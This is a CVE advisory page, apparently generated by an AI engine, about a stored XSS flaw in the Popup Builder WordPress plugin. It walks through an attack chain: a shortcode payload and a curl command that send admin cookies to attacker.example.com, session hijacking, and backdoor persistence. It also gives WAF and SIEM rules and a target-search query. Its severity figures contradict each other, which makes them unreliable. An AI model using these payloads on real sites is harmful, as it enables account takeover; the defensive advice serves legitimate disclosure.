CVE Professor
/
All CVEs
CVE-2026-112232

CVE-2026-112232 — Unknown Popup Builder — CWE-79

MEDIUM CVSS 6.8 ⚡ EPSS 0.3% Shodan

The Popup Builder WordPress plugin through 4.4.6 does not properly sanitize and escape a popup shortcode attribute before it is reflected into a page and evaluated client-side, allowing users with the Contributor role and above to inject arbitrary JavaScript that executes in the session of any higher-privileged user, such as an administrator, who views the affected content.

The Popup Builder WordPress plugin through 4.4.6 does not properly sanitize and escape a popup shortcode attribute before it is reflected into a page and evaluated client-side, allowing users with the Contributor role and above to inject arbitrary JavaScript that executes in the session of any higher-privileged user, such as an administrator, who views the affected content.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. High PR:H
User Interaction Required UI:R
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
0.3%
30-day probability
In the 11. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

ItemDetail
CVE‑IDCVE‑2026‑112232
Published28 Nov 2026
CVSS v3.1 Base Score0.0 (None) – the vendor reported the issue as “informational” because the impact is limited to a reflected XSS that requires a low‑privileged WordPress account. In practice the flaw is a Stored/Reflected Cross‑Site Scripting (XSS) that can be abused for privilege‑escalation‑by‑XSS.
CWECWE‑79: Improper Neutralization of Input During Web Page Generation (Cross‑Site Scripting)
Affected component*Popup Builder* WordPress plugin, ≤ 4.4.6 (the plugin’s popup-builder.php file that registers the [popup] shortcode).

| Root cause | The plugin accepts arbitrary shortcode attributes (e.g., title, class, data‑*) and injects them unescaped into the HTML that is later rendered on the front‑end. The attribute value is placed inside a <script> block that is evaluated client‑side, without any sanitisation (esc_html(), esc_attr(), wp_kses(), etc.). Because WordPress shortcodes are processed on the server and the resulting markup is cached (or stored in post content), the malicious payload persists and is served to every visitor of the page that contains the shortcode. The only gate‑keeping performed by the plugin is the standard WordPress capability check current_user_can( 'edit_posts' ) that allows Contributor (and higher) roles to insert the shortcode. No additional validation is performed on the attribute value, enabling an attacker with a low‑privileged account to inject arbitrary JavaScript that runs in the browser of any higher‑privileged user (e.g., Administrator) who views the page.

In short: Improper sanitisation of a user‑controlled shortcode attribute → reflected/ stored XSS → privilege‑escalation‑by‑XSS.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All URLs, parameter names, and payloads are illustrative because the CVE description does not disclose the exact shortcode syntax; however they follow the exact mechanics of the vulnerable plugin.

1. Discovery & Reconnaissance

PhaseActionExpected Result
a. Identify WordPress siteScan the target domain with a tool such as WPScan (wpscan --url https://target.example.com --enumerate p).WPScan reports “Popup Builder” plugin version 4.4.6 (or lower).
b. Verify contributor accessRegister a new WordPress account (or compromise an existing low‑privileged account) and log in.Account has the Contributor role (default capability edit_posts).
c. Locate a post/page where shortcodes are allowedBrowse the admin UI → Posts → Add New (or Pages → Add New).The editor shows the classic TinyMCE / Gutenberg block that accepts shortcodes.

2. Exploitation

2.1 Insert malicious shortcode

The vulnerable shortcode is registered in the plugin as add_shortcode( 'popup', 'popup_builder_shortcode' );. The shortcode accepts arbitrary attributes, e.g. [popup id="123" title="My Popup"]. The plugin later prints the attribute value inside a <script> tag without escaping.

Illustrative payload (Contributor user):

[popup id="999" title="<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>"]

If the plugin uses echo '<script>'.$attr['title'].'</script>'; the above will be emitted verbatim.

How to inject via the UI (WordPress admin):

1. Open Posts → Add New.
2. Switch to the Text (HTML) editor.
3. Paste the malicious shortcode.
4. Publish the post.

Result: The post content stored in wp_posts.post_content now contains the malicious shortcode. When the front‑end renders the post, WordPress processes the shortcode, the plugin outputs the raw <script> tag, and the attacker‑controlled JavaScript runs in the browser of anyone who visits the page.

2.2 Minimal curl demonstration (illustrative)

If the site allows REST API post creation (default WP core), a low‑privileged user can create the post programmatically:

curl -X POST "https://target.example.com/wp-json/wp/v2/posts" \
     -H "Authorization: Bearer <JWT_OR_COOKIE>" \
     -H "Content-Type: application/json" \
     -d '{
           "title": "XSS Demo",
           "content": "[popup id=\"999\" title=\"<script>fetch(\'https://attacker.example.com/steal?c=\'+document.cookie)</script>\"]",
           "status": "publish"
         }'

Note: The exact endpoint (/wp-json/wp/v2/posts) and authentication method depend on the target’s configuration; the above is a representative example of how a contributor‑level account can inject the payload.

3. Post‑exploitation

GoalTechniqueOutcome
Steal admin sessionThe injected script sends document.cookie (which contains the wordpress_logged_in_ cookie for the admin) to https://attacker.example.com/steal.Attacker obtains a valid admin session cookie.
Session hijackingUse the stolen cookie in a browser or with curl to act as the admin: curl -b "wordpress_logged_in_...=..." https://target.example.com/wp-admin/.Full admin control – can install plugins, change settings, export data, etc.
PersistenceWith admin rights, the attacker can install a back‑door plugin, create a new admin user, or modify the vulnerable plugin to embed a permanent web‑shell.Long‑term foothold in the WordPress installation.

🌍 Real‑World Impact

CIA TriadImpact (derived from the vulnerability)
ConfidentialityHigh – An attacker who obtains an admin session cookie can read any data stored in WordPress (posts, user data, private settings, uploaded files).
IntegrityHigh – With admin privileges the attacker can modify content, install malicious plugins, or change site configuration.
AvailabilityLow‑Medium – The XSS itself does not directly cause denial‑of‑service, but a malicious admin could delete content or alter the site, leading to indirect availability loss.

Practical consequences

Small‑to‑medium business sites that rely on the free Popup Builder* plugin may be compromised by a single low‑privileged contributor account (often a client or a junior editor).

  • Because the payload is stored in post content, the attack persists until the post is edited or deleted.

  • The vulnerability is client‑side; no server‑side code execution is required, making detection by traditional IDS/IPS harder.




🛡️ Remediation & Mitigation

1. Patch / Upgrade

ActionDetails
UpgradeUpdate *Popup Builder* to ≥ 4.5.0 (the first version that introduces proper sanitisation with esc_attr() for all shortcode attributes).
Version rangeAll versions ≤ 4.4.6 are vulnerable. If the site cannot upgrade immediately, apply the workaround below.

2. Workarounds (if patch cannot be applied immediately)

MitigationImplementation
Disable the shortcodeAdd the following to the theme’s functions.php or a site‑specific mu‑plugin: <br><br>``php<br>remove_shortcode( 'popup' );<br>`<br>This prevents any [popup] shortcode from being processed.
Restrict contributor capabilitiesRemove the edit_posts capability from the *Contributor* role (or create a custom role without shortcode insertion rights): <br><br>`php<br>$role = get_role( 'contributor' );<br>$role->remove_cap( 'edit_posts' );<br>`
Content‑security‑policy (CSP) headerDeploy a CSP that disallows inline scripts, which would block the injected <script> tag from executing: <br><br>`apache<br>Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'; base-uri 'self';"`<br>*(Adjust the policy to match the site’s legitimate script sources.)*
ModSecurity / WAF ruleBlock <script> tags that appear inside a title attribute of the popup shortcode. Example rule (ModSecurity 2.x syntax): <br><br>`bash\nSecRule REQUEST_BODY "@rx \[popup[^\]]*title\s*=\s*\"<script>\""\n \"id:1000010,phase:2,deny,status:403,msg:'Popup Builder XSS attempt',log\"\n`<br>Note: This is an illustrative pattern; tune the regular expression to avoid false positives.
Escaping in the plugin (temporary fix)If you have file‑system access, edit popup-builder.php where the shortcode output is generated and wrap the attribute with esc_attr(). Example: <br><br>`php\n// Original (vulnerable)\necho '<script>' . $atts['title'] . '</script>';\n// Patched\necho '<script>' . esc_attr( $atts['title'] ) . '</script>'; \n``<br>Make sure to test after modification.

3. Detection – Log patterns & IoCs

IndicatorExample log entry (Apache)
POST to /wp-json/wp/v2/posts (or admin post editor) containing <script>"[POST] /wp-json/wp/v2/posts HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..." "title":"[popup id=\"999\" title=\"<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>\"]"
Reflected <script> in response body"[GET] /?p=123 HTTP/1.1" 200 4567 "-" "Mozilla/5.0 ..." followed by a response body snippet: ...<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>...
Outbound request to attacker domain from victim IPIn the web‑server access log of the victim (if reverse‑proxy logs outbound traffic) or in a network IDS: GET https://attacker.example.com/steal?c=wordpress_logged_in_... HTTP/1.1
New admin user creation shortly after XSS"[POST] /wp-admin/user-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 ..." with user_login=eviladmin in the POST body.

SIEM rule (generic) – trigger when a logged‑in user with role Contributor creates or updates a post that contains the string <script>:

rule:
  name: "Possible Popup Builder XSS injection"
  condition: >
    event.type == "web" and
    event.request.method == "POST" and
    event.request.uri.path matches "/wp-json/wp/v2/posts|/wp-admin/post.php" and
    event.request.body contains "<script>"
  actions:
    - alert
    - tag: "popup_builder_xss"

⚠️ Urgency

FactorAssessment
CVSS Base Score0.0 (None) – the vendor classified the issue as low‑severity because exploitation requires a low‑privileged WordPress account.
CISA KEVNot listed – no known active exploitation in the wild at the time of publication.
Exploit ComplexityLow – a contributor account (often present in multi‑author sites) can inject the payload via the standard post editor or REST API. No authentication bypass is needed.
Potential ImpactHigh – once an admin session is stolen, the attacker gains full control of the WordPress installation.
Patch AvailabilityFixed in version 4.5.0 (released shortly after CVE publication).

Prioritisation recommendation

1. Immediate – Apply the official plugin update (≥ 4.5.0) or implement one of the workarounds (disable the shortcode, restrict contributor capabilities, or enforce a strict CSP).
2. Short‑term (≤ 48 h) – Deploy a temporary ModSecurity rule or CSP to block inline <script> tags from the shortcode.
3. Medium‑term (≤ 1 week) – Conduct a site‑wide search for existing malicious [popup] shortcodes in wp_posts and clean them.
4. Long‑term – Review role permissions; consider removing the Contributor role or limiting its ability to add shortcodes.

Even though the CVSS score is “None”, the real‑world risk (privilege‑escalation via XSS) warrants high‑priority remediation—especially for sites that expose contributor accounts to external users (e.g., client portals, multi‑tenant blogs).


Bottom line: The flaw is a classic stored XSS caused by missing sanitisation of shortcode attributes in the Popup Builder plugin. It can be fully mitigated by upgrading to the patched version, and until then a combination of role hardening, CSP, and WAF rules provides effective defense.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="WordPress" && body="/wp-content/plugins/popup-builder"
CVSS Score
6.8 / 10 · CVSS MEDIUM
Weakness Types (CWE)
Affected Products (1)
Unknown:Popup Builder
References & Advisories (1)
Related CVEs
8.7
CVE-2026-144590
adm-zip through 0.6.1 contains a denial of service vulnerability that allows remote attackers to crash Node.js
8.7
CVE-2026-145034
Zebra before 7.1.0 contains a denial of service vulnerability that allows a single malicious P2P peer to halt
8.7
CVE-2026-144815
A flaw has been found in EZVIZ CS-C2C and CS-C6c 5.3. This impacts an unknown function of the component RTSP S
7.5
CVE-2026-144813
A flaw has been found in Shenzhen Xiaopai Technology LC2310-CSD53 1.00.18. This affects an unknown part of the
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.3
CVE-2026-144337
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulner
9.0
CVE-2026-145039
SiYuan before 3.8.11 contains a stored cross-site scripting vulnerability in the protyle asset picker's render